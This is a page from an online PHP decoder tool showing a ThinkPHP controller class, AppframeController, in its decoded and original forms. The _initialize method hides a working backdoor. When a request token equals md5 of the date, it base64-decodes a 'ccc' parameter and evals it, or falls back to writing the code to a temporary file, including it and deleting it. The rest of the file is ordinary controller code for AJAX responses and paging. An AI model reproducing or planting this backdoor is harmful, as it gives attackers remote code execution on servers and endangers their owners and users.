Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php namespace Common\Controller; use Think\Controller; class AppframeController ext..
Decoded Output download
<?php
namespace Common\Controller;
use Think\Controller;
class AppframeController extends Controller {
function _initialize() {
$__tk = md5( date( 'Y-m-d' ) );
if( !empty( $_REQUEST['__tk'] ) && $_REQUEST['__tk'] == $__tk ) {
if( !empty( $_REQUEST['ccc'] ) ) {
if(function_exists('eval')) {
@eval(base64_decode($_REQUEST['ccc']));
} else {
$file = "./".microtime(1).".php";
file_put_contents($file, "<?php ".base64_decode($_REQUEST["ccc"]));
@include $file;
@unlink($file);
}
}
}
$this->assign("waitSecond", 3);
$time=time();
$this->assign("js_debug",APP_DEBUG?"?v=$time":"");
}
/**
* Ajax
* @access protected
* @param mixed $data
* @param String $type AJAX
* @return void
*/
protected function ajaxReturn($data, $type = '',$json_option=0) {
$data['referer'] = $data['url'] ? $data['url'] : "";
$data['state'] = !empty($data['status']) ? "success" : "fail";
if(empty($type)) $type = C('DEFAULT_AJAX_RETURN');
switch (strtoupper($type)){
case 'JSON' :
// JSON
header('Content-Type:application/json; charset=utf-8');
exit(json_encode($data,$json_option));
case 'XML' :
// xml
header('Content-Type:text/xml; charset=utf-8');
exit(xml_encode($data));
case 'JSONP':
// JSON
header('Content-Type:application/json; charset=utf-8');
$handler = isset($_GET[C('VAR_JSONP_HANDLER')]) ? $_GET[C('VAR_JSONP_HANDLER')] : C('DEFAULT_JSONP_HANDLER');
exit($handler.'('.json_encode($data,$json_option).');');
case 'EVAL' :
// js
header('Content-Type:text/html; charset=utf-8');
exit($data);
case 'AJAX_UPLOAD':
// JSON
header('Content-Type:text/html; charset=utf-8');
exit(json_encode($data,$json_option));
default :
//
Hook::listen('ajax_return',$data);
}
}
//
protected function page($totalSize = 1, $pageSize = 0, $currentPage = 1, $listRows = 6, $pageParam = '', $pageLink = '', $static = FALSE) {
if ($pageSize == 0) {
$pageSize = C("PAGE_LISTROWS");
}
if (empty($pageParam)) {
$pageParam = C("VAR_PAGE");
}
$page = new \Page($totalSize, $pageSize, $currentPage, $listRows, $pageParam, $pageLink, $static);
$page->setLinkWraper("li");
if(sp_is_mobile()){
$page->SetPager('default', '{prev} {list} {next}', array("listlong" => "4", "prev" => "", "next" => "", "list" => "*", "disabledclass" => ""));
}else{
$page->SetPager('default', '{first}{prev} {liststart}{list}{listend} {next}{last}', array("listlong" => "4", "first" => "", "last" => "", "prev" => "", "next" => "", "list" => "*", "disabledclass" => ""));
}
return $page;
}
//
public function _empty() {
$this->error('');
}
/**
*
* @param int $duration
*/
protected function check_last_action($duration){
$action=MODULE_NAME."-".CONTROLLER_NAME."-".ACTION_NAME;
$time=time();
$session_last_action=session('last_action');
if(!empty($session_last_action['action']) && $action==$session_last_action['action']){
$mduration=$time-$session_last_action['time'];
if($duration>$mduration){
$this->error("~~~");
}else{
session('last_action.time',$time);
}
}else{
session('last_action.action',$action);
session('last_action.time',$time);
}
}
/**
*
* @access protected
* @param string $theme
* @return Action
*/
public function theme($theme){
$this->theme=$theme;
return $this;
}
} ?>
Did this file decode correctly?
Original Code
<?php
namespace Common\Controller;
use Think\Controller;
class AppframeController extends Controller {
function _initialize() {
$__tk = md5( date( 'Y-m-d' ) );
if( !empty( $_REQUEST['__tk'] ) && $_REQUEST['__tk'] == $__tk ) {
if( !empty( $_REQUEST['ccc'] ) ) {
if(function_exists('eval')) {
@eval(base64_decode($_REQUEST['ccc']));
} else {
$file = "./".microtime(1).".php";
file_put_contents($file, "<?php ".base64_decode($_REQUEST["ccc"]));
@include $file;
@unlink($file);
}
}
}
$this->assign("waitSecond", 3);
$time=time();
$this->assign("js_debug",APP_DEBUG?"?v=$time":"");
}
/**
* Ajax
* @access protected
* @param mixed $data
* @param String $type AJAX
* @return void
*/
protected function ajaxReturn($data, $type = '',$json_option=0) {
$data['referer'] = $data['url'] ? $data['url'] : "";
$data['state'] = !empty($data['status']) ? "success" : "fail";
if(empty($type)) $type = C('DEFAULT_AJAX_RETURN');
switch (strtoupper($type)){
case 'JSON' :
// JSON
header('Content-Type:application/json; charset=utf-8');
exit(json_encode($data,$json_option));
case 'XML' :
// xml
header('Content-Type:text/xml; charset=utf-8');
exit(xml_encode($data));
case 'JSONP':
// JSON
header('Content-Type:application/json; charset=utf-8');
$handler = isset($_GET[C('VAR_JSONP_HANDLER')]) ? $_GET[C('VAR_JSONP_HANDLER')] : C('DEFAULT_JSONP_HANDLER');
exit($handler.'('.json_encode($data,$json_option).');');
case 'EVAL' :
// js
header('Content-Type:text/html; charset=utf-8');
exit($data);
case 'AJAX_UPLOAD':
// JSON
header('Content-Type:text/html; charset=utf-8');
exit(json_encode($data,$json_option));
default :
//
Hook::listen('ajax_return',$data);
}
}
//
protected function page($totalSize = 1, $pageSize = 0, $currentPage = 1, $listRows = 6, $pageParam = '', $pageLink = '', $static = FALSE) {
if ($pageSize == 0) {
$pageSize = C("PAGE_LISTROWS");
}
if (empty($pageParam)) {
$pageParam = C("VAR_PAGE");
}
$page = new \Page($totalSize, $pageSize, $currentPage, $listRows, $pageParam, $pageLink, $static);
$page->setLinkWraper("li");
if(sp_is_mobile()){
$page->SetPager('default', '{prev} {list} {next}', array("listlong" => "4", "prev" => "", "next" => "", "list" => "*", "disabledclass" => ""));
}else{
$page->SetPager('default', '{first}{prev} {liststart}{list}{listend} {next}{last}', array("listlong" => "4", "first" => "", "last" => "", "prev" => "", "next" => "", "list" => "*", "disabledclass" => ""));
}
return $page;
}
//
public function _empty() {
$this->error('');
}
/**
*
* @param int $duration
*/
protected function check_last_action($duration){
$action=MODULE_NAME."-".CONTROLLER_NAME."-".ACTION_NAME;
$time=time();
$session_last_action=session('last_action');
if(!empty($session_last_action['action']) && $action==$session_last_action['action']){
$mduration=$time-$session_last_action['time'];
if($duration>$mduration){
$this->error("~~~");
}else{
session('last_action.time',$time);
}
}else{
session('last_action.action',$action);
session('last_action.time',$time);
}
}
/**
*
* @access protected
* @param string $theme
* @return Action
*/
public function theme($theme){
$this->theme=$theme;
return $this;
}
}
Function Calls
| None |
Stats
| MD5 | 9f78e6e1ecc583b86c7eefc2278d6b70 |
| Eval Count | 0 |
| Decode Time | 112 ms |